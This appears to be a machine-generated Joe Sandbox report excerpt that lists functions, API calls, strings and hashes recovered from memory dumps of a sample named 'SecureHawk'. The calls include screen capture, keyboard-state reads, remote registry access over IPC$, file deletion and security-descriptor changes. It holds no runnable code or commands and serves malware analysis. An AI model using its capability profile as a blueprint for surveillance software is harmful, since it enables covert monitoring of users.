GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003489DB
HeapAlloc.KERNEL32(00000000), ref: 003489E2
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00348A03
CopySid.ADVAPI32(00000000), ref: 00348A0A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00348A3B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00348A61
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00348A75

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 3f850066025a3cc706e970096396b6d26d7f0058badd53b23ee06f8e1b84ff8f
Instruction ID: 23df697d0bdc2ccd77426b32a7410f75afa3782207c92a75c52009855015708c
Opcode Fuzzy Hash: 3f850066025a3cc706e970096396b6d26d7f0058badd53b23ee06f8e1b84ff8f
Instruction Fuzzy Hash: 98614FB1900209AFDF06DF95DC45EEEBBB9FF04300F04855AF915AB290DB75AA15CB60

Function 003677C9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0036783E
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0036784A
CreateCompatibleDC.GDI32(?), ref: 00367856
SelectObject.GDI32(00000000,?), ref: 00367863
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 003678B7
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 003678F3
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00367917
SelectObject.GDI32(00000006,?), ref: 0036791F
DeleteObject.GDI32(?), ref: 00367928
DeleteDC.GDI32(00000006), ref: 0036792F
ReleaseDC.USER32(00000000,?), ref: 0036793A

Strings

(, xrefs: 003678BF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: b60081420a0b3515fc6f0245d26b90cb57dc0530ec23bf7afc4b83eea1bc0d0d
Instruction ID: 83da6ee69c920adc776279776fc5d571785539e5d038f5f55726fcd9e3fedfdc
Opcode Fuzzy Hash: b60081420a0b3515fc6f0245d26b90cb57dc0530ec23bf7afc4b83eea1bc0d0d
Instruction Fuzzy Hash: D8513B71904309AFCB1ACFA8CC89EAEBBB9EF48310F14855DF959A7250D731A945CB50

Function 0035A2FA Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0035A341

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 0035A363
__swprintf.LIBCMT ref: 0035A3BC
__swprintf.LIBCMT ref: 0035A3D5
_wprintf.LIBCMT ref: 0035A48B
_wprintf.LIBCMT ref: 0035A4A9

Strings

^ ERROR, xrefs: 0035A42D
Line %d (File "%s"):, xrefs: 0035A3B6, 0035A3CF
Error: , xrefs: 0035A453
"%s" (%d) : ==> %s:, xrefs: 0035A4A4
"%s" (%d) : ==> %s:%s%s, xrefs: 0035A486

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 33c1ca2d6aaf32f6b18c6e5be685da6885ad52d0e665dcff9d824c621217e31f
Instruction ID: 1c200d445f70004e7979199a9453000243e9f7b4eddd806d6cbf0eaa739ad52e
Opcode Fuzzy Hash: 33c1ca2d6aaf32f6b18c6e5be685da6885ad52d0e665dcff9d824c621217e31f
Instruction Fuzzy Hash: 8351DF71901109AADF17EBE0CDA6EEEB778EF04340F100265F905B61A2EB316F58DB61

Function 0035957D Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00359387: __time64.LIBCMT ref: 00359391

Part of subcall function 00304A8C: _fseek.LIBCMT ref: 00304AA4

__wsplitpath.LIBCMT ref: 0035965C

Part of subcall function 0031424E: __wsplitpath_helper.LIBCMT ref: 0031428E

_wcscpy.LIBCMT ref: 0035966F
_wcscat.LIBCMT ref: 00359682
__wsplitpath.LIBCMT ref: 003596A7
_wcscat.LIBCMT ref: 003596BD
_wcscat.LIBCMT ref: 003596D0

Part of subcall function 003593CD: _memmove.LIBCMT ref: 00359406
Part of subcall function 003593CD: _memmove.LIBCMT ref: 00359415

_wcscmp.LIBCMT ref: 00359617

Part of subcall function 00359B5E: _wcscmp.LIBCMT ref: 00359C4E
Part of subcall function 00359B5E: _wcscmp.LIBCMT ref: 00359C61

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0035987A
_wcsncpy.LIBCMT ref: 003598ED
DeleteFileW.KERNEL32(?,?), ref: 00359923
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00359939
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0035994A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0035995C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 792875174e1a5236243e42c2063dcd20b32ed8405c6879e84cf59cd49a9926d9
Instruction ID: 1c02c7abe7c6e346f6a436e295e2dc6613bc3b25800edd89a7bf080301f94f53
Opcode Fuzzy Hash: 792875174e1a5236243e42c2063dcd20b32ed8405c6879e84cf59cd49a9926d9
Instruction Fuzzy Hash: EFC11DB1900119AADF16DF95CC85EDEB7BDEF49310F0040AAFA09E7151EB709A888F65

Function 00305BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00305BF1
GetMenuItemCount.USER32(003B6890), ref: 00340DFB
GetMenuItemCount.USER32(003B6890), ref: 00340EAB
GetCursorPos.USER32(?), ref: 00340EEF
SetForegroundWindow.USER32(00000000), ref: 00340EF8
TrackPopupMenuEx.USER32(003B6890,00000000,?,00000000,00000000,00000000), ref: 00340F0B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00340F17

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: df89676bc565011bf8c7d789b886e4e2e7d0a4e680595933dff251b5fd2ddde9
Instruction ID: 1ee3bce3749c6dae7c694ca4ceebb4bbed50a6560a3cd89c180d7555ed568fc1
Opcode Fuzzy Hash: df89676bc565011bf8c7d789b886e4e2e7d0a4e680595933dff251b5fd2ddde9
Instruction Fuzzy Hash: 6971D230605705BEFB2A9B54CC45FAABFA8FF06324F100216F6246A1E1C7717864DF94

Function 0035AD57 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00380980), ref: 0035ADBB
GetDriveTypeW.KERNEL32(00000061,003A9970,00000061), ref: 0035AE85
_wcscpy.LIBCMT ref: 0035AEAF

Strings

ramdisk, xrefs: 0035AE2F
unknown, xrefs: 0035AE46
L,8, xrefs: 0035AEA7
network, xrefs: 0035AE19
fixed, xrefs: 0035AE03
removable, xrefs: 0035ADED
all, xrefs: 0035ADC1
cdrom, xrefs: 0035ADD7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: L,8$all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1415673726
Opcode ID: 43f4bbbaca1a393c637e04df8c28b64774b7e0d01bc33518c23cb8f5c4443814
Instruction ID: 977b120c3f25bbe46b053d482302b69da3653d79cb9bd913287a8163a1134b3b
Opcode Fuzzy Hash: 43f4bbbaca1a393c637e04df8c28b64774b7e0d01bc33518c23cb8f5c4443814
Instruction Fuzzy Hash: AB51C4301143019BC31AEF14C892EABB7A9FF85341F50492DF9965B2A2DBB0DD49CB93

Function 003481DD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

_memset.LIBCMT ref: 0034826C
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003482A1
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003482BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003482D9
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00348303
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0034832B
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00348336
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0034833B

Strings

\IPC$, xrefs: 00348283
SOFTWARE\Classes\, xrefs: 0034820D
\CLSID, xrefs: 00348223

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: e4ac24dcd2fb985f68c1c24417407c02e551e1b00714fc895134fa2454a429c4
Instruction ID: b0661fd3262bf503b369a7e915448fd09ddd30d917fc52046ab8271a6ef8d32b
Opcode Fuzzy Hash: e4ac24dcd2fb985f68c1c24417407c02e551e1b00714fc895134fa2454a429c4
Instruction Fuzzy Hash: BF411976C1122CABDF16EFA4DC959EEB7B8FF04740F044569E801BA1A1DB70AD04CB90

Function 00371242 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,003701D5,?,?), ref: 00371259

Strings

HKCR, xrefs: 00371301
HKCU, xrefs: 00371349
HKEY_CLASSES_ROOT, xrefs: 003712EC
HKEY_LOCAL_MACHINE, xrefs: 003712C2
HKLM, xrefs: 003712D7
HKEY_CURRENT_CONFIG, xrefs: 00371316
HKU, xrefs: 0037136B
HKEY_CURRENT_USER, xrefs: 00371338
HKCC, xrefs: 00371327
HKEY_USERS, xrefs: 0037135A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: bf9c8dbffe86434071717187b5119e16c59677f0fe56f327df0b2a1a7e0889bf
Instruction ID: 405ee3171cd377894b98ee2427cda42a68e756957ff72937eeddb3ae8b9a7c80
Opcode Fuzzy Hash: bf9c8dbffe86434071717187b5119e16c59677f0fe56f327df0b2a1a7e0889bf
Instruction Fuzzy Hash: 64418E3A1102068BDF2AEF14D8519EE3729FF5A304F408514FC5A4F692DBB89D99CBA1

Function 003556EF Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Part of subcall function 0030153B: _memmove.LIBCMT ref: 003015C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00355758
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0035576E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0035577F
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00355791
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 003557A2

Strings

open , xrefs: 00355707
play PlayMe, xrefs: 0035579D
status PlayMe mode, xrefs: 00355753
close PlayMe, xrefs: 00355769, 00355796
play PlayMe wait, xrefs: 0035578C
alias PlayMe, xrefs: 00355731

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 549c533d3ca3a797db602e9270ef0b93088cd23a503ac3a7017edc85748c820c
Instruction ID: 9626ebe141e1ae122934960f834c2720bbd3b8fab327a649e923b22b37899f4d
Opcode Fuzzy Hash: 549c533d3ca3a797db602e9270ef0b93088cd23a503ac3a7017edc85748c820c
Instruction Fuzzy Hash: F7119470A5111979DB22A761DC6AEFFBB7CEFD6B50F00042AF811AA0E1DE612D04C9B0

Function 00354A79 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00354A94
gethostname.WSOCK32(?,00000100), ref: 00354AAE
gethostbyname.WSOCK32(?), ref: 00354ABB
_wcscpy.LIBCMT ref: 00354AE3
_memmove.LIBCMT ref: 00354AF6
inet_ntoa.WSOCK32(?), ref: 00354B01
_strcat.LIBCMT ref: 00354B0F
_wcscpy.LIBCMT ref: 00354B26
WSACleanup.WSOCK32 ref: 00354B34
_wcscpy.LIBCMT ref: 00354B42

Strings

0.0.0.0, xrefs: 00354ADD

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 61360c025cc5791d0429cdb7e0659d3737fac3f315c744ceec903845a195e29b
Instruction ID: f588fa8571434ad820fe9fdbe3a6a6c5463acdb9e5e7f3df0bd341354b016a8a
Opcode Fuzzy Hash: 61360c025cc5791d0429cdb7e0659d3737fac3f315c744ceec903845a195e29b
Instruction Fuzzy Hash: DB11E732904208ABDB6FAB60DC46FDB77BCDF44715F0501A6F4459A0A1EFB0D9C98B91

Function 0035539D Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 003553A2

Part of subcall function 0031074E: timeGetTime.WINMM(?,00000002,002FC22C), ref: 00310752

Sleep.KERNEL32(0000000A), ref: 003553CE
EnumThreadWindows.USER32(?,Function_00065350,00000000), ref: 003553F2
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00355414
SetActiveWindow.USER32 ref: 00355433
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00355441
SendMessageW.USER32(00000010,00000000,00000000), ref: 00355460
Sleep.KERNEL32(000000FA), ref: 0035546B
IsWindow.USER32 ref: 00355477
EndDialog.USER32(00000000), ref: 00355488

Strings

BUTTON, xrefs: 00355406

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: e0a03a8d9bf1c8a6e59e0b775a1098513479fbb1a8665730cc7adaf4701e0403
Instruction ID: 5a2db19cf2034211ebb15eda5c763ec9908d511eb23b34e3ef68284703c22261
Opcode Fuzzy Hash: e0a03a8d9bf1c8a6e59e0b775a1098513479fbb1a8665730cc7adaf4701e0403
Instruction Fuzzy Hash: 2B2126B4208708AFE7575B20ECD9F253B6DEB8634BF141559FA05815B1DBB06C588B22

Function 0035DA3D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

CoInitialize.OLE32(00000000), ref: 0035DA9A
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0035DB2D
SHGetDesktopFolder.SHELL32(?), ref: 0035DB41
CoCreateInstance.OLE32(00383D4C,00000000,00000001,003A9BEC,?), ref: 0035DB8D
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0035DBFC
CoTaskMemFree.OLE32(?,?), ref: 0035DC54
_memset.LIBCMT ref: 0035DC91
SHBrowseForFolderW.SHELL32(?), ref: 0035DCCD
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0035DCF0
CoTaskMemFree.OLE32(00000000), ref: 0035DCF7
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0035DD2E
CoUninitialize.OLE32(00000001,00000000), ref: 0035DD30

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 0e10c9819fabe2d63f5ac68c8cd09a00a6511b9e620878cc892df9fa4c9683a3
Instruction ID: a7b65738354f7f7ce5e2d4e2edfbd12da2b3246ea864385d987d3ebcb5ee84d8
Opcode Fuzzy Hash: 0e10c9819fabe2d63f5ac68c8cd09a00a6511b9e620878cc892df9fa4c9683a3
Instruction Fuzzy Hash: 25B1FA75A00209AFDB15DFA4C885DAEBBF9EF48305F1180A9E905EB261DB30ED45CB50

Function 00350687 Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00350702
SetKeyboardState.USER32(?), ref: 0035076D
GetAsyncKeyState.USER32(000000A0), ref: 0035078D
GetKeyState.USER32(000000A0), ref: 003507A4
GetAsyncKeyState.USER32(000000A1), ref: 003507D3
GetKeyState.USER32(000000A1), ref: 003507E4
GetAsyncKeyState.USER32(00000011), ref: 00350810
GetKeyState.USER32(00000011), ref: 0035081E
GetAsyncKeyState.USER32(00000012), ref: 00350847
GetKeyState.USER32(00000012), ref: 00350855
GetAsyncKeyState.USER32(0000005B), ref: 0035087E
GetKeyState.USER32(0000005B), ref: 0035088C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 73371e76882da4a05cffa2d4eeef045d2f81635e0b0d22dbe364e8b4fe201637
Instruction ID: db813b895a2015761aec521dc73512c5849d708bbfd3913fbabd42dbc9544bc9
Opcode Fuzzy Hash: 73371e76882da4a05cffa2d4eeef045d2f81635e0b0d22dbe364e8b4fe201637
Instruction Fuzzy Hash: C051E93090478829FB3BEBB08411FABAFB49F01341F09459DDDC65B1E3DA55AA4CCBA1

Function 0034CBE3 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0034CBFF
GetWindowRect.USER32(00000000,?), ref: 0034CC11
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0034CC6F
GetDlgItem.USER32(?,00000002), ref: 0034CC7A
GetWindowRect.USER32(00000000,?), ref: 0034CC8C
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0034CCE0
GetDlgItem.USER32(?,000003E9), ref: 0034CCEE
GetWindowRect.USER32(00000000,?), ref: 0034CCFF
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0034CD42
GetDlgItem.USER32(?,000003EA), ref: 0034CD50
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0034CD6D
InvalidateRect.USER32(?,00000000,00000001), ref: 0034CD7A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
